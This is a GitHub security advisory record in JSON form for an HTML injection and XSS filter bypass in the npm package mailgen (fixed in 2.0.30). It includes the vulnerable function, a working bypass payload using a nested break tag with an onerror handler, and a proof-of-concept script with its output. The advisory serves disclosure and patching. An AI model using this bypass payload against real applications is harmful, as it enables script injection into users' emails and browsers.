HTML Injection and XSS Filter Bypass in Plaintext Emails

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mailgen"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.30"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59526"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-22T18:03:47Z",
    "nvd_published_at": "2025-09-22T20:15:39Z",
    "severity": "MODERATE"
  },
  "details": "# HTML Injection and XSS Filter Bypass in Plaintext Emails\n\n### Summary\nAn HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the `Mailgen.generatePlaintext(email);` method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).\n\n### Vulnerability Analysis\nThe following function (inside `index.js`) is intended to strip all HTML content to produce a plaintext string.\n\n```javascript\n// Plaintext text e-mail generator\nMailgen.prototype.generatePlaintext = function (params) {\n    // Plaintext theme not cached?\n    if (!this.cachedPlaintextTheme) {\n        throw new Error(\u0027An error was encountered while loading the plaintext theme.\u0027);\n    }\n   \n    // Parse email params and get back an object with data to inject\n    var ejsParams = this.parseParams(params);\n\n    // Render the plaintext theme with ejs, injecting the data accordingly\n    var output = ejs.render(this.cachedPlaintextTheme, ejsParams);\n\n    // Definition of the \u003cbr /\u003e tag as a regex pattern\n    var breakTag = /(?:\\\u003cbr\\s*\\/?\\\u003e)/g;\n    var breakTagPattern = new RegExp(breakTag);\n\n    // Check the plaintext for html break tag, maintains backwards compatiblity\n    if (breakTagPattern.test(this.cachedPlaintextTheme)) {\n        // Strip all linebreaks from the rendered plaintext\n        output = output.replace(/(?:\\r\\n|\\r|\\n)/g, \u0027\u0027);\n\n        // Replace html break tags with linebreaks\n        output = output.replace(breakTag, \u0027\\n\u0027);\n\n        // Remove plaintext theme indentation (tabs or spaces in the beginning of each line)\n        output = output.replace(/^(?: |\\t)*/gm, \"\");\n    }\n\n    // Strip all HTML tags from plaintext output\n    output = output.replace(/\u003c.+?\u003e/g, \u0027\u0027);\n\n    // Decode HTML entities such as \u0026copy;\n    output = he.decode(output);\n\n    // All done!\n    return output;\n};\n```\n\nThe process fails because it first converts HTML break tags to newlines and then attempts to strip HTML tags with a regular expression. Using a break tag inside another HTML tag can deceive the filter, allowing HTML content to be injected into the email.\n\nA valid payload is: `\u003cimg\u003cbr\u003e src=xyz onerror=alert(1)\u003e`.\n\n### Proof of Concept\n\n```javascript\nvar Mailgen = require(\u0027mailgen\u0027);\n\nvar mailGenerator = new Mailgen({\n    theme: \u0027default\u0027,\n    product: {\n        name: \u0027Mailgen\u0027,\n        link: \u0027https://mailgen.js/\u0027\n    }\n});\n\nvar email = {\n    body: {\n        name: \u0027John \u003cimg\u003cbr\u003e src=xyz onerror=alert(document.body.innerHTML)\u003e Appleseed\u0027,\n        intro: \u0027Welcome to Mailgen! We\\\u0027re very excited to have you on board.\u0027,\n        action: {\n            instructions: \u0027To get started with Mailgen, please click here:\u0027,\n            button: {\n                color: \u0027#22BC66\u0027,\n                text: \u0027Confirm your account\u0027,\n                link: \u0027secret-link\u0027\n            }\n        },\n        outro: \u0027Need help, or have questions? Just reply to this email, we\\\u0027d love to help.\u0027\n    }\n};\n\n// Generate the plaintext version of the e-mail\nvar emailText = mailGenerator.generatePlaintext(email);\n\n// Optionally, preview the generated plaintext e-mail\nrequire(\u0027fs\u0027).writeFileSync(\u0027emailText.txt\u0027, emailText, \u0027utf8\u0027);\n```\n\n**Resulting output file (`emailText.txt`):**\n\n```html\nHi John \u003cimg\nsrc=xyz onerror=alert(document.body.innerHTML)\u003e Appleseed,\n\nWelcome to Mailgen! We\u0027re very excited to have you on board.        \n\nTo get started with Mailgen, please click here:        \nsecret-link            \n\nNeed help, or have questions? Just reply to this email, we\u0027d love to help.        \n\nYours truly,  \nMailgen\n\n\u00a9 2025 Mailgen. All rights reserved.\n```\n\n### Mitigation\nThe vulnerability has been patched in commit [741a019](https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d) and released to npm in version `2.0.30`.\n\nThanks to Edoardo Ottavianelli (@edoardottt) for discovering and reporting this vulnerability.",
  "id": "GHSA-j2xj-h7w5-r7vp",
  "modified": "2025-09-23T20:50:37Z",
  "published": "2025-09-22T18:03:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eladnava/mailgen/security/advisories/GHSA-j2xj-h7w5-r7vp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59526"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eladnava/mailgen"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mailgen: HTML injection vulnerability in plaintext e-mails"
}